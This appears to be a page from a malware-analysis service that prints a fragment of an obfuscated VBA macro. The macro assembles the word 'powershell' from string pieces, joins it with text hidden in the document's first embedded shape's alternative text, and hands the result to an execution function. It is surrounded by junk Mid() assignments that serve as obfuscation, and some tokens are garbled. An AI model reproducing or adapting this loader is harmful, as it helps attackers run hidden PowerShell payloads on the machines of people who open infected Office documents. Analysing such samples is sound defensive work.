scjHiSYQBQp = EIjom + SFwwBAcXs
Nduombd7ihdmz3t = "powe" + "rshe" + Yrqashf6v9k.Content.Application.ActiveDocument.InlineShapes(1@).AlternativeText$
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Lc86flgpu_0, 196, 1)
dYvJsnjw = Mid _
(Yro601b38op, 212, 1)
BiHOVG = Mid _
(Nl_lw7rb9f2hjl7, 35, 1)
GQJzwq = Mid _
(N88dezpl2klk89, 34, 1)
WKcaSvfi = Mid _
(Bymm5l65zt9f, 9, 1)
lsFUF = Mid _
(Shwy6vj_smq68yumv, 240, 1)
VAwYHAcv = Mid _
(D__zt80bfydi, 20, 1)
hNfbEKURZVE = Mid _
(Euwvuyxqlyfvm8s, 179, 1)
wYVOV = Mid _
(Rkrdm4f4byzz4qw8j3, 190, 1)
mLdZb = Mid _
(Hkcay925l5dha, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(Droxeioo5u8_0x, 33, 1)
zmlHaKIVkFA = Mid _
(Bjluxhxvk4gv0509q, 168, 1)
UCPVYn = Mid _
(Fy0hkft78rtdz0d0, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(O4ynks8e59yp, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
X8baw0lbcd5ptfq = K04c1rtg0qxf(Nduombd7ihdmz3t)
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(K_qqy06552t0, 196, 1)
dYvJsnjw = Mid _
(H0tftz_m9h5t, 212, 1)
BiHOVG = Mid _
(T85hf2rybngr, 35, 1)
GQJzwq = Mid _
(Lnkixbyqkb51pa26r4, 34, 1)
WKcaSvfi = Mid _
(Yri9awv4ssjvmztj, 9, 1)
lsFUF = Mid _
(Bzu372q6_s2215uv, 240, 1)
VAwYHAcv = Mid _
(Ntiqkwbjf0brra8, 20, 1)
hNfbEKURZVE = Mid _
(C44i7c24cbe6c3zza, 179, 1)
wYVOV = Mid _
(D_ah3dtt14ooss5_x, 190, 1)
mLdZb = Mid _
(Umyr4qnjsgh, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(Gmry7828bz1mm9, 33, 1)
zmlHaKIVkFA = Mid _
(Rtxacfy8yfzhv6, 168, 1)
UCPVYn = Mid _
(Pmmmtc96w9j1_cx, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(D6bz17geiwp4t, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.